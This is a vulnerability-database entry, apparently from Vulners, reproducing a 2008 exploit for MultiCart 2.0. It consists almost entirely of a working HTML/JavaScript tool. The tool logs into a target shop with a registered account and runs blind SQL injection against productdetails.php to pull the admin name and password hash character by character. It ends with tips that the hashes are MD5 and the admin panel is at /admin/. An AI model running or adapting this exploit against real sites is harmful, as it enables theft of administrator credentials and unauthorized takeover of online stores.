MultiCart 2.0 (productdetails.php) Remote SQL Injection Exploit

🗓️ 21 Feb 2008 00:00:00Reported by RootType
MultiCart 2.0 Remote SQL Injectio

                                                &lt;html&gt;
&lt;head&gt;
&lt;style&nbsp;type=&quot;text/css&quot;&gt;
&lt;!--
.style1{color:&nbsp;#CC0000}
.style2&nbsp;{&nbsp;color:&nbsp;#000000;&nbsp;&nbsp;font-size:&nbsp;12px;}
.style3&nbsp;{color:&nbsp;#FF0000;&nbsp;font-weight:&nbsp;bold;&nbsp;font-size:&nbsp;12px;&nbsp;}
.style4&nbsp;{color:&nbsp;#FF0000;&nbsp;font-size:&nbsp;10px;}
--&gt;
&lt;/style&gt;
&lt;title&gt;MultiCart&nbsp;2.0&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerbility&lt;/title&gt;
&lt;script&nbsp;language=&quot;Javascript&quot;&nbsp;type=&quot;text/javascript&quot;&gt;
/*
	-------------------------------------------------------------------------------
	-&nbsp;MultiCart&nbsp;Blind&nbsp;SQL&nbsp;Injection&nbsp;Exploit&nbsp;(productdetails.php)&nbsp;-
	-&nbsp;Info&nbsp;----------------------------------------------------------------------
	-&nbsp;SAVE&nbsp;AS&nbsp;exploit.HTML&nbsp;and&nbsp;RUN&nbsp;in&nbsp;FIREFOX&nbsp;-----------------
	-&nbsp;Author:&nbsp;t0pP8uZz&nbsp;&amp;&nbsp;xprog&nbsp;-------------------------------------------
	-&nbsp;Exploit&nbsp;Coded&nbsp;By&nbsp;t0pP8uZz&nbsp;-----------------------------------------
	-&nbsp;Site:&nbsp;h4ck-y0u.org&nbsp;/&nbsp;milw0rm.com&nbsp;---------------------------------
	------------------------------------------------------------------------------
	-&nbsp;Needs&nbsp;Registration&nbsp;First!&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;------------------------------------
	-&nbsp;Peace&nbsp;--------------------------------------------------------------------
	------------------------------------------------------------------------------
*/

var&nbsp;site,&nbsp;user,&nbsp;pass,&nbsp;tbl,&nbsp;pid,&nbsp;res&nbsp;=&nbsp;&quot;&quot;;

function&nbsp;Start()&nbsp;{
	
	site&nbsp;=&nbsp;document.getElementById(&quot;site&quot;).value;
	user&nbsp;=&nbsp;document.getElementById(&quot;user&quot;).value;
	pass&nbsp;=&nbsp;document.getElementById(&quot;pass&quot;).value;
	tbl&nbsp;&nbsp;=&nbsp;document.getElementById(&quot;tbl&quot;).value;
	pid&nbsp;&nbsp;=&nbsp;document.getElementById(&quot;pid&quot;).value;
	
	Login();
	Main(1,&nbsp;48);
}

function&nbsp;Main(substr,&nbsp;num)&nbsp;{

	var&nbsp;url&nbsp;=&nbsp;site+&quot;/productdetails.php?productid=&quot;+pid+&quot;%20and%20ascii(substring((SELECT&nbsp;concat(admin_name,0x3a,admin_password)&nbsp;FROM&nbsp;&quot;+tbl+&quot;),&quot;+substr+&quot;,1))=&quot;+num+&quot;/*&quot;;
	
	netscape.security.PrivilegeManager.enablePrivilege(&quot;UniversalBrowserRead&quot;);
	
	var&nbsp;xmlhttp&nbsp;=&nbsp;new&nbsp;XMLHttpRequest();
	
	xmlhttp.onreadystatechange&nbsp;=&nbsp;function()&nbsp;{
	
		if(xmlhttp.readyState&nbsp;==&nbsp;4)&nbsp;{
		
			var&nbsp;content&nbsp;=&nbsp;xmlhttp.responseText;
			if(content.match(/doesn't&nbsp;exist/i))&nbsp;{&nbsp;alert(&quot;Table&nbsp;'&quot;+tbl+&quot;'&nbsp;Doesnt&nbsp;Exist!&nbsp;Try&nbsp;Another..&quot;);&nbsp;return&nbsp;false;&nbsp;}
			
			var&nbsp;ele&nbsp;=&nbsp;document.getElementById(&quot;output&quot;);
			if(!content.match(/SQL&nbsp;syntax/i))&nbsp;{&nbsp;res&nbsp;+=&nbsp;String.fromCharCode((num));&nbsp;ele.value&nbsp;=&nbsp;res;&nbsp;num&nbsp;=&nbsp;48;&nbsp;substr++;&nbsp;}
			else&nbsp;{&nbsp;if(num&nbsp;==&nbsp;59)&nbsp;{&nbsp;num&nbsp;=&nbsp;96;&nbsp;}&nbsp;else&nbsp;{&nbsp;num++;&nbsp;}}
			
			if(res.match(&quot;:&quot;))&nbsp;{&nbsp;
				var&nbsp;check&nbsp;=&nbsp;res.split(&quot;:&quot;);
				if(check[1].length&nbsp;&gt;=&nbsp;32)&nbsp;{&nbsp;alert(&quot;Site&nbsp;Exploited!&nbsp;Admin&nbsp;Details:&nbsp;&quot;+res);&nbsp;return&nbsp;true;}
			}
			Main(substr,&nbsp;num);
		}
	};
	xmlhttp.open(&quot;GET&quot;,&nbsp;url,&nbsp;true);
	xmlhttp.send(null);
};


function&nbsp;Login()&nbsp;{

	var&nbsp;data&nbsp;=&nbsp;'txtUserName='+user+'&amp;txtPassword='+pass+'&amp;loginbox=+';
	netscape.security.PrivilegeManager.enablePrivilege(&quot;UniversalBrowserRead&quot;);
	
	try&nbsp;{
		var&nbsp;xmlhttp&nbsp;=&nbsp;new&nbsp;XMLHttpRequest();
	}
	catch(e)&nbsp;{&nbsp;alert(&quot;Use&nbsp;Firefox!\n\n\nError:&nbsp;&quot;&nbsp;+&nbsp;e.description);&nbsp;}
	
	xmlhttp.open(&quot;POST&quot;,&nbsp;site&nbsp;+&nbsp;&quot;/index.php&quot;,&nbsp;true);
	
	xmlhttp.setRequestHeader(&quot;User-Agent&quot;,&nbsp;&quot;Mozilla/5.0&nbsp;(Windows;&nbsp;U;&nbsp;Windows&nbsp;NT&nbsp;5.1;&nbsp;en-GB;&nbsp;rv:1.8.1.9)&nbsp;Gecko/20071025&nbsp;Firefox/2.0.0.9&quot;);
	xmlhttp.setRequestHeader(&quot;Content-Length&quot;,&nbsp;data.length);
	xmlhttp.setRequestHeader(&quot;Content-Type&quot;,&nbsp;&quot;application/x-www-form-urlencoded&quot;);
	
	xmlhttp.send(data);
};
&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;p&nbsp;class=&quot;style1&quot;&gt;-&nbsp;MultiCart&nbsp;2.0&nbsp;Remote&nbsp;Blind&nbsp;SQL&nbsp;Injection&nbsp;Vulnerbility&nbsp;-&lt;/p&gt;
&lt;p&nbsp;class=&quot;style2&quot;&gt;Site:&nbsp;&lt;input&nbsp;type=&quot;text&quot;&nbsp;id=&quot;site&quot;&nbsp;/&gt;&nbsp;(URL&nbsp;to&nbsp;multicart&nbsp;site&nbsp;ie:&nbsp;http://www.site.com/multicart)&lt;/p&gt;
&lt;p&nbsp;class=&quot;style2&quot;&gt;Table:&nbsp;&lt;input&nbsp;type=&quot;text&quot;&nbsp;id=&quot;tbl&quot;&nbsp;/&gt;&nbsp;(settings&nbsp;table&nbsp;name,&nbsp;default:&nbsp;&quot;multicart_settings&quot;&nbsp;others&nbsp;used:&nbsp;&quot;mc_settings&quot;,&nbsp;&quot;settings&quot;)&lt;/p&gt;
&lt;p&nbsp;class=&quot;style2&quot;&gt;User:&nbsp;&lt;input&nbsp;type=&quot;text&quot;&nbsp;id=&quot;user&quot;&nbsp;/&gt;&nbsp;(Register&nbsp;on&nbsp;the&nbsp;site&nbsp;first,&nbsp;then&nbsp;enter&nbsp;username&nbsp;here)&lt;/p&gt;
&lt;p&nbsp;class=&quot;style2&quot;&gt;Pass:&nbsp;&lt;input&nbsp;type=&quot;text&quot;&nbsp;id=&quot;pass&quot;&nbsp;/&gt;&nbsp;(Register&nbsp;on&nbsp;the&nbsp;site&nbsp;first,&nbsp;then&nbsp;enter&nbsp;password&nbsp;here)&lt;/p&gt;
&lt;p&nbsp;class=&quot;style2&quot;&gt;PID:&nbsp;&lt;input&nbsp;type=&quot;text&quot;&nbsp;id=&quot;pid&quot;&nbsp;/&gt;&nbsp;(a&nbsp;valid&nbsp;product&nbsp;ID)&lt;/p&gt;
&lt;p&nbsp;class=&quot;style2&quot;&gt;&lt;input&nbsp;type=&quot;button&quot;&nbsp;onclick=&quot;Start();&quot;&nbsp;id=&quot;button&quot;&nbsp;value=&quot;Exploit&quot;&nbsp;/&gt;&lt;/p&gt;
&lt;p&nbsp;class=&quot;style3&quot;&gt;Output:&nbsp;&lt;input&nbsp;type=&quot;text&quot;&nbsp;id=&quot;output&quot;&nbsp;size=&quot;100&quot;&nbsp;/&gt;&lt;/p&gt;
&lt;p&nbsp;class=&quot;style2&quot;&gt;Notes:&nbsp;MultiCart&nbsp;uses&nbsp;the&nbsp;MD5&nbsp;algorithms,&nbsp;The&nbsp;admin&nbsp;login&nbsp;is&nbsp;at&nbsp;/admin/&lt;/p&gt;
&lt;p&nbsp;class=&quot;style4&quot;&gt;Coded&nbsp;By&nbsp;t0pP8uZz&nbsp;-&nbsp;h4ck-y0u.org&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;
21 Feb 2008 00:00Current
7.1High risk
Vulners AI Score7.1